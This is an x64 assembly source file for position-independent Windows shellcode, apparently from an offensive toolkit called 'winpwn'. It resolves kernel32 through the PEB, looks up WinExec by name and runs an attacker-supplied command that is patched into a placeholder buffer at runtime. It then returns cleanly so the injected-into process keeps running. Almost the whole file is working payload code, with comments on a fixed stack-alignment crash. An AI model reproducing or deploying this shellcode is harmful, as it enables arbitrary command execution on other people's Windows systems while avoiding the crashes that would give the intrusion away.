; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's ; base via the PEB (no leak/hardcoded address needed), find WinExec by ; name, and run a command. Returns normally (ret) so the host thread keeps ; running afterward. ; ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob; ; winpwn patches it at runtime with the actual NUL-terminated command ; (see shellcraft.go). BITS 64 default rel start: ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte ; alignment below and still land exactly back on the real return ; address afterward. A bare `and rsp, ~0xF` with no matching restore ; before `ret` pops whatever garbage is sitting at the shifted address ; instead of the caller's actual return address — that's the bug this ; replaced (verified by crash: rip ended up pointing into the Go ; runtime's heap, i.e. exactly the kind of stale stack value this leaves ; behind). push rbp push r12 mov rbp, rsp and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state call get_kernel32_base mov r12, rax ; r12 = kernel32 base mov rcx, r12 lea rdx, [rel name_winexec] call find_export ; rax = WinExec address lea rcx, [rel cmd_buf] mov edx, 5 ; SW_SHOW sub rsp, 0x20 ; shadow space required before any WinAPI call call rax add rsp, 0x20 mov rsp, rbp pop r12 pop rbp ret %include "resolver.inc" name_winexec: db "WinExec", 0 align 8 cmd_buf: times 260 db 0